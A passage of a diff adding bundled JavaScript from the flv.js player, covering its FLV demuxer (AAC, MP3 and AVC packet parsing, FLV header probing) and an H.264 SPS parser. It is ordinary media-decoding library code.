_parseAudioData(arrayBuffer, dataOffset, dataSize, tagTimestamp) { + if (dataSize <= 1) { + _logger2.default.w(this.TAG, 'Flv: Invalid audio packet, missing SoundData payload!'); + return; + } + + if (this._hasAudioFlagOverrided === true && this._hasAudio === false) { + // If hasAudio: false indicated explicitly in MediaDataSource, + // Ignore all the audio packets + return; + } + + var le = this._littleEndian; + var v = new DataView(arrayBuffer, dataOffset, dataSize); + + var soundSpec = v.getUint8(0); + + var soundFormat = soundSpec >>> 4; + if (soundFormat !== 2 && soundFormat !== 10) { + // MP3 or AAC + this._onError(_demuxErrors2.default.CODEC_UNSUPPORTED, 'Flv: Unsupported audio codec idx: ' + soundFormat); + return; + } + + var soundRate = 0; + var soundRateIndex = (soundSpec & 12) >>> 2; + if (soundRateIndex >= 0 && soundRateIndex <= 4) { + soundRate = this._flvSoundRateTable[soundRateIndex]; + } else { + this._onError(_demuxErrors2.default.FORMAT_ERROR, 'Flv: Invalid audio sample rate idx: ' + soundRateIndex); + return; + } + + var soundSize = (soundSpec & 2) >>> 1; // unused + var soundType = soundSpec & 1; + + var meta = this._audioMetadata; + var track = this._audioTrack; + + if (!meta) { + if (this._hasAudio === false && this._hasAudioFlagOverrided === false) { + this._hasAudio = true; + this._mediaInfo.hasAudio = true; + } + + // initial metadata + meta = this._audioMetadata = {}; + meta.type = 'audio'; + meta.id = track.id; + meta.timescale = this._timescale; + meta.duration = this._duration; + meta.audioSampleRate = soundRate; + meta.channelCount = soundType === 0 ? 1 : 2; + } + + if (soundFormat === 10) { + // AAC + var aacData = this._parseAACAudioData(arrayBuffer, dataOffset + 1, dataSize - 1); + if (aacData == undefined) { + return; + } + + if (aacData.packetType === 0) { + // AAC sequence header (AudioSpecificConfig) + if (meta.config) { + _logger2.default.w(this.TAG, 'Found another AudioSpecificConfig!'); + } + var misc = aacData.data; + meta.audioSampleRate = misc.samplingRate; + meta.channelCount = misc.channelCount; + meta.codec = misc.codec; + meta.originalCodec = misc.originalCodec; + meta.config = misc.config; + // The decode result of an aac sample is 1024 PCM samples + meta.refSampleDuration = 1024 / meta.audioSampleRate * meta.timescale; + _logger2.default.v(this.TAG, 'Parsed AudioSpecificConfig'); + + if (this._isInitialMetadataDispatched()) { + // Non-initial metadata, force dispatch (or flush) parsed frames to remuxer + if (this._dispatch && (this._audioTrack.length || this._videoTrack.length)) { + this._onDataAvailable(this._audioTrack, this._videoTrack); + } + } else { + this._audioInitialMetadataDispatched = true; + } + // then notify new metadata + this._dispatch = false; + this._onTrackMetadata('audio', meta); + + var mi = this._mediaInfo; + mi.audioCodec = meta.originalCodec; + mi.audioSampleRate = meta.audioSampleRate; + mi.audioChannelCount = meta.channelCount; + if (mi.hasVideo) { + if (mi.videoCodec != null) { + mi.mimeType = 'video/x-flv; codecs="' + mi.videoCodec + ',' + mi.audioCodec + '"'; + } + } else { + mi.mimeType = 'video/x-flv; codecs="' + mi.audioCodec + '"'; + } + if (mi.isComplete()) { + this._onMediaInfo(mi); + } + } else if (aacData.packetType === 1) { + // AAC raw frame data + var dts = this._timestampBase + tagTimestamp; + var aacSample = { unit: aacData.data, length: aacData.data.byteLength, dts: dts, pts: dts }; + track.samples.push(aacSample); + track.length += aacData.data.length; + } else { + _logger2.default.e(this.TAG, 'Flv: Unsupported AAC data type ' + aacData.packetType); + } + } else if (soundFormat === 2) { + // MP3 + if (!meta.codec) { + // We need metadata for mp3 audio track, extract info from frame header + var _misc = this._parseMP3AudioData(arrayBuffer, dataOffset + 1, dataSize - 1, true); + if (_misc == undefined) { + return; + } + meta.audioSampleRate = _misc.samplingRate; + meta.channelCount = _misc.channelCount; + meta.codec = _misc.codec; + meta.originalCodec = _misc.originalCodec; + // The decode result of an mp3 sample is 1152 PCM samples + meta.refSampleDuration = 1152 / meta.audioSampleRate * meta.timescale; + _logger2.default.v(this.TAG, 'Parsed MPEG Audio Frame Header'); + + this._audioInitialMetadataDispatched = true; + this._onTrackMetadata('audio', meta); + + var _mi = this._mediaInfo; + _mi.audioCodec = meta.codec; + _mi.audioSampleRate = meta.audioSampleRate; + _mi.audioChannelCount = meta.channelCount; + _mi.audioDataRate = _misc.bitRate; + if (_mi.hasVideo) { + if (_mi.videoCodec != null) { + _mi.mimeType = 'video/x-flv; codecs="' + _mi.videoCodec + ',' + _mi.audioCodec + '"'; + } + } else { + _mi.mimeType = 'video/x-flv; codecs="' + _mi.audioCodec + '"'; + } + if (_mi.isComplete()) { + this._onMediaInfo(_mi); + } + } + + // This packet is always a valid audio packet, extract it + var data = this._parseMP3AudioData(arrayBuffer, dataOffset + 1, dataSize - 1, false); + if (data == undefined) { + return; + } + var _dts = this._timestampBase + tagTimestamp; + var mp3Sample = { unit: data, length: data.byteLength, dts: _dts, pts: _dts }; + track.samples.push(mp3Sample); + track.length += data.length; + } + } + }, { + key: '_parseAACAudioData', + value: function _parseAACAudioData(arrayBuffer, dataOffset, dataSize) { + if (dataSize <= 1) { + _logger2.default.w(this.TAG, 'Flv: Invalid AAC packet, missing AACPacketType or/and Data!'); + return; + } + + var result = {}; + var array = new Uint8Array(arrayBuffer, dataOffset, dataSize); + + result.packetType = array[0]; + + if (array[0] === 0) { + result.data = this._parseAACAudioSpecificConfig(arrayBuffer, dataOffset + 1, dataSize - 1); + } else { + result.data = array.subarray(1); + } + + return result; + } + }, { + key: '_parseAACAudioSpecificConfig', + value: function _parseAACAudioSpecificConfig(arrayBuffer, dataOffset, dataSize) { + var array = new Uint8Array(arrayBuffer, dataOffset, dataSize); + var config = null; + + /* Audio Object Type: + 0: Null + 1: AAC Main + 2: AAC LC + 3: AAC SSR (Scalable Sample Rate) + 4: AAC LTP (Long Term Prediction) + 5: HE-AAC / SBR (Spectral Band Replication) + 6: AAC Scalable + */ + + var audioObjectType = 0; + var originalAudioObjectType = 0; + var audioExtensionObjectType = null; + var samplingIndex = 0; + var extensionSamplingIndex = null; + + // 5 bits + audioObjectType = originalAudioObjectType = array[0] >>> 3; + // 4 bits + samplingIndex = (array[0] & 0x07) << 1 | array[1] >>> 7; + if (samplingIndex < 0 || samplingIndex >= this._mpegSamplingRates.length) { + this._onError(_demuxErrors2.default.FORMAT_ERROR, 'Flv: AAC invalid sampling frequency index!'); + return; + } + + var samplingFrequence = this._mpegSamplingRates[samplingIndex]; + + // 4 bits + var channelConfig = (array[1] & 0x78) >>> 3; + if (channelConfig < 0 || channelConfig >= 8) { + this._onError(_demuxErrors2.default.FORMAT_ERROR, 'Flv: AAC invalid channel configuration'); + return; + } + + if (audioObjectType === 5) { + // HE-AAC? + // 4 bits + extensionSamplingIndex = (array[1] & 0x07) << 1 | array[2] >>> 7; + // 5 bits + audioExtensionObjectType = (array[2] & 0x7C) >>> 2; + } + + // workarounds for various browsers + var userAgent = self.navigator.userAgent.toLowerCase(); + + if (userAgent.indexOf('firefox') !== -1) { + // firefox: use SBR (HE-AAC) if freq less than 24kHz + if (samplingIndex >= 6) { + audioObjectType = 5; + config = new Array(4); + extensionSamplingIndex = samplingIndex - 3; + } else { + // use LC-AAC + audioObjectType = 2; + config = new Array(2); + extensionSamplingIndex = samplingIndex; + } + } else if (userAgent.indexOf('android') !== -1) { + // android: always use LC-AAC + audioObjectType = 2; + config = new Array(2); + extensionSamplingIndex = samplingIndex; + } else { + // for other browsers, e.g. chrome... + // Always use HE-AAC to make it easier to switch aac codec profile + audioObjectType = 5; + extensionSamplingIndex = samplingIndex; + config = new Array(4); + + if (samplingIndex >= 6) { + extensionSamplingIndex = samplingIndex - 3; + } else if (channelConfig === 1) { + // Mono channel + audioObjectType = 2; + config = new Array(2); + extensionSamplingIndex = samplingIndex; + } + } + + config[0] = audioObjectType << 3; + config[0] |= (samplingIndex & 0x0F) >>> 1; + config[1] = (samplingIndex & 0x0F) << 7; + config[1] |= (channelConfig & 0x0F) << 3; + if (audioObjectType === 5) { + config[1] |= (extensionSamplingIndex & 0x0F) >>> 1; + config[2] = (extensionSamplingIndex & 0x01) << 7; + // extended audio object type: force to 2 (LC-AAC) + config[2] |= 2 << 2; + config[3] = 0; + } + + return { + config: config, + samplingRate: samplingFrequence, + channelCount: channelConfig, + codec: 'mp4a.40.' + audioObjectType, + originalCodec: 'mp4a.40.' + originalAudioObjectType + }; + } + }, { + key: '_parseMP3AudioData', + value: function _parseMP3AudioData(arrayBuffer, dataOffset, dataSize, requestHeader) { + if (dataSize < 4) { + _logger2.default.w(this.TAG, 'Flv: Invalid MP3 packet, header missing!'); + return; + } + + var le = this._littleEndian; + var array = new Uint8Array(arrayBuffer, dataOffset, dataSize); + var result = null; + + if (requestHeader) { + if (array[0] !== 0xFF) { + return; + } + var ver = array[1] >>> 3 & 0x03; + var layer = (array[1] & 0x06) >> 1; + + var bitrate_index = (array[2] & 0xF0) >>> 4; + var sampling_freq_index = (array[2] & 0x0C) >>> 2; + + var channel_mode = array[3] >>> 6 & 0x03; + var channel_count = channel_mode !== 3 ? 2 : 1; + + var sample_rate = 0; + var bit_rate = 0; + var object_type = 34; // Layer-3, listed in MPEG-4 Audio Object Types + + var codec = 'mp3'; + + switch (ver) { + case 0: + // MPEG 2.5 + sample_rate = this._mpegAudioV25SampleRateTable[sampling_freq_index]; + break; + case 2: + // MPEG 2 + sample_rate = this._mpegAudioV20SampleRateTable[sampling_freq_index]; + break; + case 3: + // MPEG 1 + sample_rate = this._mpegAudioV10SampleRateTable[sampling_freq_index]; + break; + } + + switch (layer) { + case 1: + // Layer 3 + object_type = 34; + if (bitrate_index < this._mpegAudioL3BitRateTable.length) { + bit_rate = this._mpegAudioL3BitRateTable[bitrate_index]; + } + break; + case 2: + // Layer 2 + object_type = 33; + if (bitrate_index < this._mpegAudioL2BitRateTable.length) { + bit_rate = this._mpegAudioL2BitRateTable[bitrate_index]; + } + break; + case 3: + // Layer 1 + object_type = 32; + if (bitrate_index < this._mpegAudioL1BitRateTable.length) { + bit_rate = this._mpegAudioL1BitRateTable[bitrate_index]; + } + break; + } + + result = { + bitRate: bit_rate, + samplingRate: sample_rate, + channelCount: channel_count, + codec: codec, + originalCodec: codec + }; + } else { + result = array; + } + + return result; + } + }, { + key: '_parseVideoData', + value: function _parseVideoData(arrayBuffer, dataOffset, dataSize, tagTimestamp, tagPosition) { + if (dataSize <= 1) { + _logger2.default.w(this.TAG, 'Flv: Invalid video packet, missing VideoData payload!'); + return; + } + + if (this._hasVideoFlagOverrided === true && this._hasVideo === false) { + // If hasVideo: false indicated explicitly in MediaDataSource, + // Ignore all the video packets + return; + } + + var spec = new Uint8Array(arrayBuffer, dataOffset, dataSize)[0]; + + var frameType = (spec & 240) >>> 4; + var codecId = spec & 15; + + if (codecId !== 7) { + this._onError(_demuxErrors2.default.CODEC_UNSUPPORTED, 'Flv: Unsupported codec in video frame: ' + codecId); + return; + } + + this._parseAVCVideoPacket(arrayBuffer, dataOffset + 1, dataSize - 1, tagTimestamp, tagPosition, frameType); + } + }, { + key: '_parseAVCVideoPacket', + value: function _parseAVCVideoPacket(arrayBuffer, dataOffset, dataSize, tagTimestamp, tagPosition, frameType) { + if (dataSize < 4) { + _logger2.default.w(this.TAG, 'Flv: Invalid AVC packet, missing AVCPacketType or/and CompositionTime'); + return; + } + + var le = this._littleEndian; + var v = new DataView(arrayBuffer, dataOffset, dataSize); + + var packetType = v.getUint8(0); + var cts_unsigned = v.getUint32(0, !le) & 0x00FFFFFF; + var cts = cts_unsigned << 8 >> 8; // convert to 24-bit signed int + + if (packetType === 0) { + // AVCDecoderConfigurationRecord + this._parseAVCDecoderConfigurationRecord(arrayBuffer, dataOffset + 4, dataSize - 4); + } else if (packetType === 1) { + // One or more Nalus + this._parseAVCVideoData(arrayBuffer, dataOffset + 4, dataSize - 4, tagTimestamp, tagPosition, frameType, cts); + } else if (packetType === 2) { + // empty, AVC end of sequence + } else { + this._onError(_demuxErrors2.default.FORMAT_ERROR, 'Flv: Invalid video packet type ' + packetType); + return; + } + } + }, { + key: '_parseAVCDecoderConfigurationRecord', + value: function _parseAVCDecoderConfigurationRecord(arrayBuffer, dataOffset, dataSize) { + if (dataSize < 7) { + _logger2.default.w(this.TAG, 'Flv: Invalid AVCDecoderConfigurationRecord, lack of data!'); + return; + } + + var meta = this._videoMetadata; + var track = this._videoTrack; + var le = this._littleEndian; + var v = new DataView(arrayBuffer, dataOffset, dataSize); + + if (!meta) { + if (this._hasVideo === false && this._hasVideoFlagOverrided === false) { + this._hasVideo = true; + this._mediaInfo.hasVideo = true; + } + + meta = this._videoMetadata = {}; + meta.type = 'video'; + meta.id = track.id; + meta.timescale = this._timescale; + meta.duration = this._duration; + } else { + if (typeof meta.avcc !== 'undefined') { + _logger2.default.w(this.TAG, 'Found another AVCDecoderConfigurationRecord!'); + } + } + + var version = v.getUint8(0); // configurationVersion + var avcProfile = v.getUint8(1); // avcProfileIndication + var profileCompatibility = v.getUint8(2); // profile_compatibility + var avcLevel = v.getUint8(3); // AVCLevelIndication + + if (version !== 1 || avcProfile === 0) { + this._onError(_demuxErrors2.default.FORMAT_ERROR, 'Flv: Invalid AVCDecoderConfigurationRecord'); + return; + } + + this._naluLengthSize = (v.getUint8(4) & 3) + 1; // lengthSizeMinusOne + if (this._naluLengthSize !== 3 && this._naluLengthSize !== 4) { + // holy shit!!! + this._onError(_demuxErrors2.default.FORMAT_ERROR, 'Flv: Strange NaluLengthSizeMinusOne: ' + (this._naluLengthSize - 1)); + return; + } + + var spsCount = v.getUint8(5) & 31; // numOfSequenceParameterSets + if (spsCount === 0) { + this._onError(_demuxErrors2.default.FORMAT_ERROR, 'Flv: Invalid AVCDecoderConfigurationRecord: No SPS'); + return; + } else if (spsCount > 1) { + _logger2.default.w(this.TAG, 'Flv: Strange AVCDecoderConfigurationRecord: SPS Count = ' + spsCount); + } + + var offset = 6; + + for (var i = 0; i < spsCount; i++) { + var len = v.getUint16(offset, !le); // sequenceParameterSetLength + offset += 2; + + if (len === 0) { + continue; + } + + // Notice: Nalu without startcode header (00 00 00 01) + var sps = new Uint8Array(arrayBuffer, dataOffset + offset, len); + offset += len; + + var config = _spsParser2.default.parseSPS(sps); + if (i !== 0) { + // ignore other sps's config + continue; + } + + meta.codecWidth = config.codec_size.width; + meta.codecHeight = config.codec_size.height; + meta.presentWidth = config.present_size.width; + meta.presentHeight = config.present_size.height; + + meta.profile = config.profile_string; + meta.level = config.level_string; + meta.bitDepth = config.bit_depth; + meta.chromaFormat = config.chroma_format; + meta.sarRatio = config.sar_ratio; + meta.frameRate = config.frame_rate; + + if (config.frame_rate.fixed === false || config.frame_rate.fps_num === 0 || config.frame_rate.fps_den === 0) { + meta.frameRate = this._referenceFrameRate; + } + + var fps_den = meta.frameRate.fps_den; + var fps_num = meta.frameRate.fps_num; + meta.refSampleDuration = meta.timescale * (fps_den / fps_num); + + var codecArray = sps.subarray(1, 4); + var codecString = 'avc1.'; + for (var j = 0; j < 3; j++) { + var h = codecArray[j].toString(16); + if (h.length < 2) { + h = '0' + h; + } + codecString += h; + } + meta.codec = codecString; + + var mi = this._mediaInfo; + mi.width = meta.codecWidth; + mi.height = meta.codecHeight; + mi.fps = meta.frameRate.fps; + mi.profile = meta.profile; + mi.level = meta.level; + mi.refFrames = config.ref_frames; + mi.chromaFormat = config.chroma_format_string; + mi.sarNum = meta.sarRatio.width; + mi.sarDen = meta.sarRatio.height; + mi.videoCodec = codecString; + + if (mi.hasAudio) { + if (mi.audioCodec != null) { + mi.mimeType = 'video/x-flv; codecs="' + mi.videoCodec + ',' + mi.audioCodec + '"'; + } + } else { + mi.mimeType = 'video/x-flv; codecs="' + mi.videoCodec + '"'; + } + if (mi.isComplete()) { + this._onMediaInfo(mi); + } + } + + var ppsCount = v.getUint8(offset); // numOfPictureParameterSets + if (ppsCount === 0) { + this._onError(_demuxErrors2.default.FORMAT_ERROR, 'Flv: Invalid AVCDecoderConfigurationRecord: No PPS'); + return; + } else if (ppsCount > 1) { + _logger2.default.w(this.TAG, 'Flv: Strange AVCDecoderConfigurationRecord: PPS Count = ' + ppsCount); + } + + offset++; + + for (var _i = 0; _i < ppsCount; _i++) { + var _len = v.getUint16(offset, !le); // pictureParameterSetLength + offset += 2; + + if (_len === 0) { + continue; + } + + // pps is useless for extracting video information + offset += _len; + } + + meta.avcc = new Uint8Array(dataSize); + meta.avcc.set(new Uint8Array(arrayBuffer, dataOffset, dataSize), 0); + _logger2.default.v(this.TAG, 'Parsed AVCDecoderConfigurationRecord'); + + if (this._isInitialMetadataDispatched()) { + // flush parsed frames + if (this._dispatch && (this._audioTrack.length || this._videoTrack.length)) { + this._onDataAvailable(this._audioTrack, this._videoTrack); + } + } else { + this._videoInitialMetadataDispatched = true; + } + // notify new metadata + this._dispatch = false; + this._onTrackMetadata('video', meta); + } + }, { + key: '_parseAVCVideoData', + value: function _parseAVCVideoData(arrayBuffer, dataOffset, dataSize, tagTimestamp, tagPosition, frameType, cts) { + var le = this._littleEndian; + var v = new DataView(arrayBuffer, dataOffset, dataSize); + + var units = [], + length = 0; + + var offset = 0; + var lengthSize = this._naluLengthSize; + var dts = this._timestampBase + tagTimestamp; + var keyframe = frameType === 1; // from FLV Frame Type constants + + while (offset < dataSize) { + if (offset + 4 >= dataSize) { + _logger2.default.w(this.TAG, 'Malformed Nalu near timestamp ' + dts + ', offset = ' + offset + ', dataSize = ' + dataSize); + break; // data not enough for next Nalu + } + // Nalu with length-header (AVC1) + var naluSize = v.getUint32(offset, !le); // Big-Endian read + if (lengthSize === 3) { + naluSize >>>= 8; + } + if (naluSize > dataSize - lengthSize) { + _logger2.default.w(this.TAG, 'Malformed Nalus near timestamp ' + dts + ', NaluSize > DataSize!'); + return; + } + + var unitType = v.getUint8(offset + lengthSize) & 0x1F; + + if (unitType === 5) { + // IDR + keyframe = true; + } + + var data = new Uint8Array(arrayBuffer, dataOffset + offset, lengthSize + naluSize); + var unit = { type: unitType, data: data }; + units.push(unit); + length += data.byteLength; + + offset += lengthSize + naluSize; + } + + if (units.length) { + var track = this._videoTrack; + var avcSample = { + units: units, + length: length, + isKeyframe: keyframe, + dts: dts, + cts: cts, + pts: dts + cts + }; + if (keyframe) { + avcSample.fileposition = tagPosition; + } + track.samples.push(avcSample); + track.length += length; + } + } + }, { + key: 'onTrackMetadata', + get: function get() { + return this._onTrackMetadata; + }, + set: function set(callback) { + this._onTrackMetadata = callback; + } + + // prototype: function(mediaInfo: MediaInfo): void + + }, { + key: 'onMediaInfo', + get: function get() { + return this._onMediaInfo; + }, + set: function set(callback) { + this._onMediaInfo = callback; + } + }, { + key: 'onMetaDataArrived', + get: function get() { + return this._onMetaDataArrived; + }, + set: function set(callback) { + this._onMetaDataArrived = callback; + } + }, { + key: 'onScriptDataArrived', + get: function get() { + return this._onScriptDataArrived; + }, + set: function set(callback) { + this._onScriptDataArrived = callback; + } + + // prototype: function(type: number, info: string): void + + }, { + key: 'onError', + get: function get() { + return this._onError; + }, + set: function set(callback) { + this._onError = callback; + } + + // prototype: function(videoTrack: any, audioTrack: any): void + + }, { + key: 'onDataAvailable', + get: function get() { + return this._onDataAvailable; + }, + set: function set(callback) { + this._onDataAvailable = callback; + } + + // timestamp base for output samples, must be in milliseconds + + }, { + key: 'timestampBase', + get: function get() { + return this._timestampBase; + }, + set: function set(base) { + this._timestampBase = base; + } + }, { + key: 'overridedDuration', + get: function get() { + return this._duration; + } + + // Force-override media duration. Must be in milliseconds, int32 + , + set: function set(duration) { + this._durationOverrided = true; + this._duration = duration; + this._mediaInfo.duration = duration; + } + + // Force-override audio track present flag, boolean + + }, { + key: 'overridedHasAudio', + set: function set(hasAudio) { + this._hasAudioFlagOverrided = true; + this._hasAudio = hasAudio; + this._mediaInfo.hasAudio = hasAudio; + } + + // Force-override video track present flag, boolean + + }, { + key: 'overridedHasVideo', + set: function set(hasVideo) { + this._hasVideoFlagOverrided = true; + this._hasVideo = hasVideo; + this._mediaInfo.hasVideo = hasVideo; + } + }], [{ + key: 'probe', + value: function probe(buffer) { + var data = new Uint8Array(buffer); + var mismatch = { match: false }; + + if (data[0] !== 0x46 || data[1] !== 0x4C || data[2] !== 0x56 || data[3] !== 0x01) { + return mismatch; + } + + var hasAudio = (data[4] & 4) >>> 2 !== 0; + var hasVideo = (data[4] & 1) !== 0; + + var offset = ReadBig32(data, 5); + + if (offset < 9) { + return mismatch; + } + + return { + match: true, + consumed: offset, + dataOffset: offset, + hasAudioTrack: hasAudio, + hasVideoTrack: hasVideo + }; + } + }]); + + return FLVDemuxer; + }(); + + exports.default = FLVDemuxer; + +},{"../core/media-info.js":7,"../utils/exception.js":40,"../utils/logger.js":41,"./amf-parser.js":15,"./demux-errors.js":16,"./sps-parser.js":19}],19:[function(_dereq_,module,exports){ + 'use strict'; + + Object.defineProperty(exports, "__esModule", { + value: true + }); + + var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }(); /* + * Copyright (C) 2016 Bilibili. All Rights Reserved. + * + * @author zheng qian + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + + var _expGolomb = _dereq_('./exp-golomb.js'); + + var _expGolomb2 = _interopRequireDefault(_expGolomb); + + function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } + + function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } + + var SPSParser = function () { + function SPSParser() { + _classCallCheck(this, SPSParser); + } + + _createClass(SPSParser, null, [{ + key: '_ebsp2rbsp', + value: function _ebsp2rbsp(uint8array) { + var src = uint8array; + var src_length = src.byteLength; + var dst = new Uint8Array(src_length); + var dst_idx = 0; + + for (var i = 0; i < src_length; i++) { + if (i >= 2) { + // Unescape: Skip 0x03 after 00 00 + if (src[i] === 0x03 && src[i - 1] === 0x00 && src[i - 2] === 0x00) { + continue; + } + } + dst[dst_idx] = src[i]; + dst_idx++; + } + + return new Uint8Array(dst.buffer, 0, dst_idx); + } + }, { + key: 'parseSPS', + value: function parseSPS(uint8array) { + var rbsp = SPSParser._ebsp2rbsp(uint8array); + var gb = new _expGolomb2.default(rbsp); + + gb.readByte(); + var profile_idc = gb.readByte(); // profile_idc + gb.readByte(); // constraint_set_flags[5] + reserved_zero[3] + var level_idc = gb.readByte(); // level_idc + gb.readUEG(); // seq_parameter_set_id + + var profile_string = SPSParser.getProfileString(profile_idc); + var level_string = SPSParser.getLevelString(level_idc); + var chroma_format_idc = 1; + var chroma_format = 420; + var chroma_format_table = [0, 420, 422, 444]; + var bit_depth = 8; + + if (profile_idc === 100 || profile_idc === 110 || profile_idc === 122 || profile_idc === 244 || profile_idc === 44 || profile_idc === 83 || profile_idc === 86 || profile_idc === 118 || profile_idc === 128 || profile_idc === 138 || profile_idc === 144) { + + chroma_format_idc = gb.readUEG(); + if (chroma_format_idc === 3) { + gb.readBits(1); // separate_colour_plane_flag + } + if (chroma_format_idc <= 3) { + chroma_format = chroma_format_table[chroma_format_idc]; + } + + bit_depth = gb.readUEG() + 8; // bit_depth_luma_minus8 + gb.readUEG(); // bit_depth_chroma_minus8 + gb.readBits(1); // qpprime_y_zero_transform_bypass_flag + if (gb.readBool()) { + // seq_scaling_matrix_present_flag + var scaling_list_count = chroma_format_idc !== 3 ? 8 : 12; + for (var i = 0; i < scaling_list_count; i++) { + if (gb.readBool()) { + // seq_scaling_list_present_flag + if (i < 6) { + SPSParser._skipScalingList(gb, 16); + } else { + SPSParser._skipScalingList(gb, 64); + } + } + } + } + } + gb.readUEG(); // log2_max_frame_num_minus4 + var pic_order_cnt_type = gb.readUEG(); + if (pic_order_cnt_type === 0) { + gb.readUEG(); // log2_max_pic_order_cnt_lsb_minus_4 + } else if (pic_order_cnt_type === 1) { + gb.readBits(1); // delta_pic_order_always_zero_flag + gb.readSEG(); // offset_for_non_ref_pic + gb.readSEG(); // offset_for_top_to_bottom_field + var num_ref_frames_in_pic_order_cnt_cycle = gb.readUEG(); + for (var _i = 0; _i < num_ref_frames_in_pic_order_cnt_cycle; _i++) { + gb.readSEG(); // offset_for_ref_frame + } + } + var ref_frames = gb.readUEG(); // max_num_ref_frames + gb.readBits(1); // gaps_in_frame_num_value_allowed_flag + + var pic_width_in_mbs_minus1 = gb.readUEG(); + var pic_height_in_map_units_minus1 = gb.readUEG(); + + var frame_mbs_only_flag = gb.readBits(1); + if (frame_mbs_only_flag === 0) { + gb.readBits(1); // mb_adaptive_frame_field_flag + } + gb.readBits(1); // direct_8x8_inference_flag + + var frame_crop_left_offset = 0; + var frame_crop_right_offset = 0; + var frame_crop_top_offset = 0; + var frame_crop_bottom_offset = 0; + + var frame_cropping_flag = gb.readBool(); + if (frame_cropping_flag) { + frame_crop_left_offset = gb.readUEG(); + frame_crop_right_offset = gb.readUEG(); + frame_crop_top_offset = gb.readUEG(); + frame_crop_bottom_offset = gb.readUEG(); + } + + var sar_width = 1, + sar_height = 1; + var fps = 0, + fps_fixed = true, + fps_num = 0, + fps_den = 0; + + var vui_parameters_present_flag = gb.readBool(); + if (vui_parameters_present_flag) { + if (gb.readBool()) { + // aspect_ratio_info_present_flag + var aspect_ratio_idc = gb.readByte(); + var sar_w_table = [1, 12, 10, 16, 40, 24, 20, 32, 80, 18, 15, 64, 160, 4, 3, 2]; + var sar_h_table = [1, 11, 11, 11, 33, 11, 11, 11, 33, 11, 11, 33, 99, 3, 2, 1]; + + if (aspect_ratio_idc > 0 && aspect_ratio_idc < 16) { + sar_width = sar_w_table[aspect_ratio_idc - 1]; + sar_height = sar_h_table[aspect_ratio_idc - 1]; + } else if (aspect_ratio_idc === 255) { + sar_width = gb.readByte() << 8 | gb.readByte(); + sar_height = gb.readByte() << 8 | gb.readByte(); + } + } + + if (gb.readBool()) { + // overscan_info_present_flag + gb.readBool(); // overscan_appropriate_flag + } + if (gb.readBool()) { + // video_signal_type_present_flag + gb.readBits(4); // video_format & video_full_range_flag + if (gb.readBool()) { + // colour_description_present_flag + gb.readBits(24); // colour_primaries & transfer_characteristics & matrix_coefficients + } + } + if (gb.readBool()) { + // chroma_loc_info_present_flag + gb.readUEG(); // chroma_sample_loc_type_top_field + gb.readUEG(); // chroma_sample_loc_type_bottom_field + } + if (gb.readBool()) { + // timing_info_present_flag + var num_units_in_tick = gb.readBits(32); + var time_scale = gb.readBits(32); + fps_fixed = gb.readBool(); // fixed_frame_rate_flag + + fps_num = time_scale; + fps_den = num_units_in_tick * 2; + fps = fps_num / fps_den; + } + } + + var sarScale = 1; + if (sar_width !== 1 || sar_height !== 1) { + sarScale = sar_width / sar_height; + } + + var crop_unit_x = 0, + crop_unit_y = 0; + if (chroma_format_idc === 0) { + crop_unit_x = 1; + crop_unit_y = 2 - frame_mbs_only_flag; + } else { + var sub_wc = chroma_format_idc === 3 ? 1 : 2; + var sub_hc = chroma_format_idc === 1 ? 2 : 1; + crop_unit_x = sub_wc; + crop_unit_y = sub_hc * (2 - frame_mbs_only_flag); + } + + var codec_width = (pic_width_in_mbs_minus1 + 1) * 16; + var codec_height = (2 - frame_mbs_only_flag) * ((pic_height_in_map_units_minus1 + 1) * 16); + + codec_width -= (frame_crop_left_offset + frame_crop_right_offset) * crop_unit_x; + codec_height -= (frame_crop_top_offset + frame_crop_bottom_offset) * crop_unit_y; + + var present_width = Math.ceil(codec_width * sarScale); + + gb.destroy(); + gb = null; + + return { + profile_string: profile_string, // baseline, high, high10, ... + level_string: level_string, // 3, 3.1, 4, 4.1, 5, 5.1, ... + bit_depth: bit_depth, // 8bit, 10bit, ... + ref_frames: ref_frames, + chroma_format: chroma_format, // 4:2:0, 4:2:2, ... + chroma_format_string: SPSParser.getChromaFormatString(chroma_format), + + frame_rate: { + fixed: fps_fixed, + fps: fps, + fps_den: fps_den, + fps_num: fps_num + }, + + sar_ratio: { + width: sar_width, + height: sar_height + }, + + codec_size: { + width: codec_width, + height: codec_height + }, + + present_size: { + width: present_width, + height: codec_height + } + }; + } + }, { + key: '_skipScalingList', + value: function _skipScalingList(gb, count) { + var last_scale = 8, + next_scale = 8; + var delta_scale = 0; + for (var i = 0; i < count; i++) { + if (next_scale !== 0) { + delta_scale = gb.readSEG(); + next_scale = (last_scale + delta_scale + 256) % 256; + } + last_scale = next_scale === 0 ? last_scale : next_scale; + } + } + }, { + key: 'getProfileString', + value: function getProfileString(profile_idc) { + switch (profile_idc) { + case 66: + return 'Baseline'; + case 77: + return 'Main'; + case 88: + return 'Extended'; + case 100: + return 'High'; + case 110: + return 'High10'; + case 122: + return 'High422'; + case 244: + return 'High444'; + default: + return 'Unknown'; + } + } + }, { + key: 'getLevelString', + value: function getLevelString(level_idc) { + return (level_idc / 10).toFixed(1); + } + }, { + key: 'getChromaFormatString', + value: function getChromaFormatString(chroma) { + switch (chroma) { + case 420: + return '4:2:0'; + case 422: + return '4:2:2'; + case 444: + return '4:4:4'; + default: + return 'Unknown'; + } + } + }]); + + return SPSParser; + }(); + + exports.default = SPSParser; + +},{"./exp-golomb.js":17}],20:[function(_dereq_,module,exports){ + 'use strict'; + + Object.defineProperty(exports, "__esModule", { + value: true + }); + + var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function 